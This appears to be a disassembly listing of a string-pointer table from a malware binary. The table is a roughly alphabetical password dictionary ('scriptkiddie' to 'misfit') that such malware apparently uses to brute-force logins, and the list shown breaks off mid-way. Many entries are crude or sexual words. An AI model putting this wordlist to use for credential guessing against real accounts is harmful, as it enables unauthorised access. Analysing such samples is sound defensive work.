		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_432C6C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
